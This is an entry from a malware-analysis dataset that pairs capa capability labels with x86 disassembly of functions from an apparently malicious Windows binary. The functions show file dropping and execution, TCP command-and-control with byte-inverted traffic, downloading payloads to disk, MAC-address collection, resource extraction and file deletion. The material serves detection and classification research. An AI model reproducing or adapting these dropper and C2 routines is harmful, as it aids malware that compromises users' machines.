joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402830
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x108]
push eax
push 0x104
mov dword [ebp - 0x314], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x41c3dc
lea ecx, [ebp - 0x108]
push 0x104
push ecx
call fcn.0040bba2
add esp, 0xc
push 0x104
lea edx, [ebp - 0x20c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x310]
push 0x104
push ecx
call fcn.0040b3dc
lea edx, [ebp - 0x310]
push 0x5c
push edx
call fcn.0040b440
add esp, 0x14
test eax, eax
je 0x4028bc
mov byte [eax], 0
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4029bb
mov eax, 0x420fc8
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4028f0
sub eax, edx
push esi
push edi
mov edi, eax
lea eax, [ebp - 0x20c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402906
sub eax, edx
mov ecx, eax
lea eax, [ebp - 0x108]
lea esi, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402920
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call fcn.0040aded
push edi
mov esi, eax
push 0
push esi
call fcn.0040d8f0
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x310]
push ecx
lea edx, [ebp - 0x20c]
push edx
mov eax, edx
push eax
push 0x420fc8
push edi
push esi
call fcn.0040b46d
mov eax, esi
add esp, 0x2c
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402970
push 0
sub eax, ecx
lea ecx, [ebp - 0x314]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [ebp - 0x108]
push edx
push 0x41c3e8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x4029b9
push esi
call fcn.0040ae6d
add esp, 4
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040a476
mov esp, ebp
pop ebp
ret
Function at 0x4029d0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3d8
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x246]
push ecx
mov word [ebp - 0x248], ax
call fcn.0040d8f0
add esp, 0xc
lea edx, [ebp - 0x3d8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x422a58
call fcn.00401bb0
add esp, 4
test eax, eax
jne 0x402b09
push 0x3a
push eax
lea ecx, [ebp - 0x3e]
push ecx
mov word [ebp - 0x40], ax
call fcn.0040d8f0
add esp, 0xc
lea edi, [ebp - 0x40]
call fcn.00402bc0
xor eax, eax
lea esp, [esp]
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x422c00], cx
add eax, 2
test cx, cx
jne 0x402a50
push 0x41c3f0
push 0x40
push 0x422a5c
call fcn.0040a4fa
add esp, 0xc
push 0x41c2c0
mov edx, 0x51
push 0x10
push 0x422ade
mov word [0x422adc], dx
call fcn.0040a4fa
add esp, 0xc
push 0x41c270
push 0x40
push 0x422afe
call fcn.0040a4fa
mov eax, 0x2b66
add esp, 0xc
mov word [0x422b7e], ax
xor eax, eax
lea esp, [esp]
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x422be0], cx
add eax, 2
test cx, cx
jne 0x402ac0
mov eax, 0x422be0
add eax, 0xfffffffe
lea esp, [esp]
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x402ae0
mov ecx, dword [0x41c40c]
mov dx, word [0x41c410]
mov dword [eax], ecx
mov word [eax + 4], dx
mov dword [0x422c20], 5
call fcn.00402c60
lea edi, [ebp - 0x248]
call fcn.00402bc0
xor eax, eax
jmp 0x402b20
movzx ecx, word [ebp + eax - 0x248]
mov word [eax + 0x422e90], cx
add eax, 2
test cx, cx
jne 0x402b20
push 0x422e90
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402b66
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a476
mov esp, ebp
pop ebp
ret
push 0x422e90
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x402b54
mov esi, 0x422f10
call fcn.00402eb0
mov eax, dword [0x422c24]
push 0
push 0
push 0
push 0x403430
push 0
push 0
mov dword [0x422f18], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
pop edi
mov dword [0x420fb8], eax
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0040a476
mov esp, ebp
pop ebp
ret
Function at 0x403160
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x40], eax
xor eax, eax
push edi
push 0x288
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x28], 0xffffffff
mov word [ebp - 0x24], ax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
xor ebx, ebx
call fcn.0040b348
mov esi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
add esp, 4
lea ecx, [ebp - 0x34]
mov edi, eax
push ecx
push edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x34], 0x288
call esi
cmp eax, 0x6f
jne 0x4031e9
push edi
call fcn.0040b85e
mov edx, dword [ebp - 0x34]
push edx
call fcn.0040b348
add esp, 8
mov dword [ebp - 0x2c], eax
mov edi, eax
lea eax, [ebp - 0x34]
push eax
push edi
call esi
test eax, eax
jne 0x4032b0
mov eax, edi
mov dword [ebp - 0x30], edi
test edi, edi
je 0x4032b0
jmp 0x40320a
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x40]
inc dword [ebp - 0x28]
test ecx, ecx
je 0x403227
mov edx, dword [eax + 0x194]
mov dword [ecx], edx
mov dx, word [eax + 0x198]
mov word [ecx + 4], dx
lea edi, [eax + 0x1ac]
test edi, edi
je 0x40329c
lea eax, [edi + 4]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403237
sub eax, esi
mov ecx, eax
cmp ecx, 0x10
jle 0x40324c
mov ecx, 0x10
xor eax, eax
test ecx, ecx
js 0x40326d
cmp eax, ecx
jne 0x40325d
xor esi, esi
mov word [ebp + eax*2 - 0x24], si
movsx si, byte [edi + eax + 4]
mov word [ebp + eax*2 - 0x24], si
inc eax
cmp eax, ecx
jle 0x403254
lea eax, [ebp - 0x24]
push eax
call fcn.00402d10
add esp, 4
test eax, eax
je 0x403292
mov edx, dword [ebp - 0x38]
mov eax, dword [edx + ebx*4]
lea ecx, [ebp - 0x24]
push ecx
push 0x10
push eax
call fcn.0040a4fa
add esp, 0xc
mov edi, dword [edi]
inc ebx
test edi, edi
jne 0x403231
mov eax, dword [ebp - 0x30]
test ebx, ebx
jg 0x4032ad
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x403207
mov edi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], ebx
test edi, edi
je 0x4032c2
push edi
call fcn.0040b85e
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x28]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a476
mov esp, ebp
pop ebp
ret
Function at 0x403660
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push ecx
push eax
mov dword [ebp - 0x638], eax
call fcn.00403860
add esp, 8
mov dword [ebp - 0x634], eax
test eax, eax
jne 0x40384b
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x21e]
push eax
mov word [ebp - 0x220], dx
call fcn.0040d8f0
add esp, 0xc
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x426]
push edx
mov word [ebp - 0x428], cx
call fcn.0040d8f0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x630]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x630]
push 0x5c
push ecx
call fcn.0040b48b
xor edx, edx
mov word [eax], dx
lea eax, [ebp - 0x630]
push eax
lea ecx, [ebp - 0x220]
push 0x104
push ecx
call fcn.0040a4fa
add esp, 0x14
push 0x41c368
lea edx, [ebp - 0x220]
push 0x104
push edx
call fcn.0040a485
xor eax, eax
lea ebx, [ebp - 0x18]
add esp, 0xc
mov byte [ebp - 0x18], 0
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
mov esi, 0x422140
sub ebx, 0x422244
cmp word [esi], 0
je 0x4037c7
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x428]
push 0x104
push ecx
call fcn.0040a4fa
add esp, 0xc
push esi
lea edx, [ebp - 0x428]
push 0x104
push edx
call fcn.0040a485
lea eax, [ebp - 0x428]
add esp, 0xc
push eax
lea edi, [ebp - 0x18]
call fcn.00406150
add esp, 4
test eax, eax
je 0x4037c7
mov ecx, 0x14
lea eax, [esi + 0x104]
nop
mov edx, dword [ebx + eax]
cmp edx, dword [eax]
jne 0x4037c7
sub ecx, 4
add eax, 4
cmp ecx, 4
jae 0x4037b0
xor eax, eax
mov word [esi], ax
add esi, 0x118
sub ebx, 0x118
cmp esi, 0x4226b8
jl 0x403758
mov ebx, dword [ebp - 0x638]
mov edi, dword [ebp + 0xc]
mov esi, 0x422140
lea ecx, [ecx]
cmp word [esi], 0
je 0x403802
push edi
push ebx
mov ecx, esi
call fcn.00404160
add esp, 8
add esi, 0x118
cmp esi, 0x4226b8
jl 0x4037f0
push 0x423110
lea ecx, [ebp - 0x220]
push 0x104
push ecx
call fcn.0040a485
add esp, 0xc
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403845
mov dword [ebp - 0x634], 2
mov eax, dword [ebp - 0x634]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a476
mov esp, ebp
pop ebp
ret
Function at 0x403aa0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9ac
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
lea ecx, [ebp - 0x808]
cmp eax, ebx
je 0x403ac5
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [ebp - 0x9a8]
push ecx
push 0x101
mov dword [ebp - 0x9ac], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403af7
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a476
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403ae6
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403b37
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [ebp - 0x9ac]
push edx
mov dword [ebp - 0x9ac], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403b8d
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [ebp + 8]
mov eax, 2
push ecx
mov dword [ebp - 0x814], edx
mov word [ebp - 0x818], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [ebp - 0x818]
mov word [ebp - 0x816], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403b8d
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a476
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
test eax, eax
je 0x403b9c
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0040a476
mov esp, ebp
pop ebp
ret

Function at 0x403d10
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
xor eax, eax
push ebx
push esi
mov dword [ebp - 4], eax
cmp dword [ecx], eax
je 0x403d8c
cmp edi, eax
jle 0x403d36
mov ecx, dword [ebp + 0xc]
mov dl, byte [eax + ecx]
not dl
mov byte [eax + ecx], dl
inc eax
cmp eax, edi
jl 0x403d26
lea ebx, [edi + 7]
push ebx
call fcn.0040aded
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x420fbc]
mov eax, dword [ebp + 0xc]
mov dword [esi + 2], ecx
mov dl, byte [0x420fc0]
push edi
push eax
lea ecx, [esi + 7]
push ecx
mov byte [esi + 6], dl
call fcn.0040e910
mov edx, dword [ebp + 8]
mov eax, dword [edx]
add esp, 0x10
push 0
push ebx
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x403d8f
cmp eax, ebx
jne 0x403d8f
mov dword [ebp - 4], 1
jmp 0x403d8f
mov esi, dword [ebp + 8]
test esi, esi
je 0x403d9c
push esi
call fcn.0040ae6d
add esp, 4
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403fc0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp + 0xc]
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0x8d8], edx
mov dword [ebp - 0x8d4], ebx
lea ecx, [ebp - 0x8cc]
test eax, eax
je 0x403ffc
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [edx]
xor edi, edi
mov dword [ebp - 0x8d0], edi
test esi, esi
je 0x404147
test ebx, ebx
je 0x404147
push 0xc7
lea ecx, [ebp - 0xcb]
push edi
push ecx
mov byte [ebp - 0xcc], al
call fcn.0040d8f0
add esp, 0xc
push edi
push 2
lea edx, [ebp - 0xcc]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404145
test eax, eax
je 0x404145
movzx edi, word [ebp - 0xcc]
lea eax, [edi + 2]
push eax
xor esi, esi
call fcn.0040aded
add esp, 4
mov ebx, eax
test edi, edi
jle 0x404121
jmp 0x404080
mov eax, dword [ebp - 0x8d8]
push 0
mov ecx, edi
sub ecx, esi
push ecx
mov ecx, dword [eax]
lea edx, [esi + ebx]
push edx
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4040fb
test eax, eax
je 0x4040fb
add esi, eax
cmp edi, esi
jg 0x404080
cmp esi, 5
jl 0x404121
mov edx, dword [0x420fbc]
sub esi, 5
cmp edx, dword [ebx]
jne 0x404121
mov al, byte [ebx + 4]
cmp al, byte [0x420fc0]
jne 0x404121
test esi, esi
jle 0x4040da
lea eax, [ebx + 5]
mov edi, esi
nop
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
dec edi
jne 0x4040d0
mov edi, dword [ebp - 0x8dc]
mov eax, dword [edi]
cmp eax, esi
jl 0x404103
mov eax, dword [ebp - 0x8d4]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.0040e910
mov dword [edi], esi
jmp 0x404114
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x404121
mov edx, dword [ebp - 0x8d4]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.0040e910
add esp, 0xc
mov dword [ebp - 0x8d0], 1
test ebx, ebx
je 0x40412e
push ebx
call fcn.0040ae6d
add esp, 4
mov eax, dword [ebp - 0x8d0]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a476
mov esp, ebp
pop ebp
ret
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a476
mov esp, ebp
pop ebp
ret
Function at 0x404400
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00413be0
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [edi]
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push ebx
push 4
lea ecx, [ebp - 0x1008]
push ecx
push edx
mov dword [ebp - 0x100c], eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x40444c
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a476
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x1008], ebx
jbe 0x404498
push esi
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
je 0x404497
mov edx, dword [ebp - 0x100c]
mov eax, dword [edx]
push eax
push esi
lea ecx, [ebp - 0x1004]
push 1
push ecx
call fcn.0040afcf
add ebx, esi
add esp, 0x10
cmp ebx, dword [ebp - 0x1008]
jb 0x404455
pop esi
mov edx, dword [ebp - 0x100c]
mov eax, dword [edx]
push eax
call fcn.0040acca
mov ecx, dword [ebp - 4]
add esp, 4
cmp ebx, dword [ebp - 0x1008]
pop ebx
sbb eax, eax
xor ecx, ebp
inc eax
call fcn.0040a476
mov esp, ebp
pop ebp
ret
Function at 0x404780
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x41c460
mov edi, eax
push 0x89
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x4047fb
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov dword [eax], esi
call fcn.0040aded
push esi
mov edi, eax
push 0
push edi
call fcn.0040d8f0
mov ecx, dword [ebp - 4]
push esi
push ecx
push edi
call fcn.0040e910
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404810
Capabilities:
Get file attributes
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or edi, 0xffffffff
cmp eax, edi
je 0x404885
push 0
push 0
push 3
push 0
push 3
push connect
push esi
mov ebx, edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, edi
jne 0x404854
mov dword [ebp - 8], edi
jmp 0x404874
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x40486a
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 8], ebx
cmp edi, dword [ebp + 0x10]
jne 0x404885
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x200000
call fcn.0040b348
mov ecx, dword [ebp + 0xc]
add esp, 4
mov edi, eax
push edi
push ecx
mov ecx, dword [ebp + 0x10]
lea edx, [ebp - 8]
mov dword [ebp - 8], 0x200000
call fcn.00404960
add esp, 8
test eax, eax
je 0x40494c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040a55d
add esp, 4
call fcn.0040a56f
mov dword [ebp + 0x10], eax
fild dword [ebp + 0x10]
fmul qword [0x41df80]
fmul qword [0x41dfa8]
fadd qword [0x41dfa0]
call fcn.004156c0
mov ebx, dword [ebp - 8]
lea ebx, [ebx + edi]
mov esi, eax
call fcn.004027e0
mov eax, dword [ebp - 8]
lea ebx, [esi + eax]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x10], 0
call fcn.00404ac0
mov esi, eax
cmp esi, 0xffffffff
je 0x404945
push 0
lea ecx, [ebp + 0x10]
push ecx
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, dword [ebp + 0x10]
cmp eax, ebx
mov ebx, 1
je 0x404932
mov ebx, dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x10], 1
cmp ebx, 1
je 0x40494c
mov dword [ebp - 0x10], 0
push edi
call fcn.0040b85e
mov eax, dword [ebp - 0x10]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404ac0
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
call edi
cmp eax, 0xffffffff
je 0x404b13
push esi
call edi
cmp eax, 0xffffffff
je 0x404b0e
test al, 1
je 0x404ade
xor eax, 1
test al, 4
je 0x404ae5
xor eax, 4
test al, 2
je 0x404aec
xor eax, 2
test al, 0x20
je 0x404af3
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
jne 0x404b13
or eax, 0xffffffff
pop edi
ret
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
pop edi
ret
Function at 0x404b90
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x418
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x414], eax
push esi
mov esi, dword [ebp + 8]
push edi
xor eax, eax
movzx ecx, word [eax + 0x41c480]
mov word [eax + 0x422780], cx
add eax, 2
test cx, cx
jne 0x404bb1
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + 0x41c490]
mov word [eax + 0x4226b8], cx
add eax, 2
test cx, cx
jne 0x404bd0
mov eax, esi
call fcn.00404dd0
mov eax, dword [ebp + 0x10]
mov edx, 0x422850
sub edx, eax
jmp 0x404c00
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x404c00
call fcn.00401000
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
mov dword [0x420f3c], eax
call edi
call fcn.004010e0
test eax, eax
je 0x404c3c
call fcn.00402830
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push esi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x422780
push 0x4226b8
push 0
mov dword [0x422848], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x404c7b
call fcn.004029d0
test eax, eax
jne 0x404c93
mov ecx, dword [esp + 0x41c]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.0040a476
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.0040d8f0
mov eax, dword [0x422d58]
add esp, 0xc
test eax, eax
je 0x404cdc
cmp word [0x422d5c], 0
jbe 0x404cdc
push eax
mov esi, 0x420f20
call fcn.004034f0
mov dx, word [0x422d5c]
add esp, 4
mov word [0x420f30], dx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push 0x41c4a0
mov edx, 0x423110
call fcn.00404f10
add esp, 8
call fcn.00403560
push 0x104
lea edx, [esp + 0x214]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x210]
push 0x5c
push eax
call fcn.0040b48b
lea edx, [esp + 0x218]
xor ecx, ecx
push edx
mov word [eax], cx
lea eax, [esp + 0x14]
push 0x104
push eax
call fcn.0040a4fa
add esp, 0x14
push 0x41c368
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.0040a485
add esp, 0xc
push 0x423110
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040a485
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404db1
push 0x1f4
call edi
push 1
push 0
push 0x41c23c
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call edi
call fcn.004044d0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x406150
Capabilities:
Hash data using sha1
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1068
call fcn.00413be0
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push 0x41c360
push eax
lea eax, [ebp - 0x1064]
xor ebx, ebx
push eax
mov dword [ebp - 0x1064], ebx
call fcn.0040a9af
mov eax, dword [ebp - 0x1064]
add esp, 0xc
cmp eax, ebx
jne 0x4061b1
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a476
mov esp, ebp
pop ebp
ret
push esi
push 2
push ebx
push eax
call fcn.0040b0d3
mov ecx, dword [ebp - 0x1064]
push ecx
call fcn.0040b2e3
mov edx, dword [ebp - 0x1064]
push ebx
push ebx
push edx
mov dword [ebp - 0x1068], eax
call fcn.0040b0d3
mov eax, dword [ebp - 0x1064]
push eax
push 0x1000
lea ecx, [ebp - 0x1004]
push 1
push ecx
mov dword [ebp - 0x105c], ebx
mov dword [ebp - 0x1060], ebx
mov dword [ebp - 0x1058], 0x67452301
mov dword [ebp - 0x1054], 0xefcdab89
mov dword [ebp - 0x1050], 0x98badcfe
mov dword [ebp - 0x104c], 0x10325476
mov dword [ebp - 0x1048], 0xc3d2e1f0
call fcn.0040ac40
mov esi, eax
add esp, 0x2c
test esi, esi
je 0x406278
lea esp, [esp]
lea edx, [ebp - 0x1060]
push edx
push esi
lea ecx, [ebp - 0x1004]
call fcn.00405fc0
mov eax, dword [ebp - 0x1064]
push eax
push 0x1000
lea ecx, [ebp - 0x1004]
push 1
push ecx
add ebx, esi
call fcn.0040ac40
mov esi, eax
add esp, 0x18
test esi, esi
jne 0x406240
push edi
lea esi, [ebp - 0x1060]
call fcn.00406060
mov edx, dword [ebp - 0x1064]
push edx
call fcn.0040acca
add esp, 8
pop esi
cmp ebx, dword [ebp - 0x1068]
jb 0x406192
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0040a476
mov esp, ebp
pop ebp
ret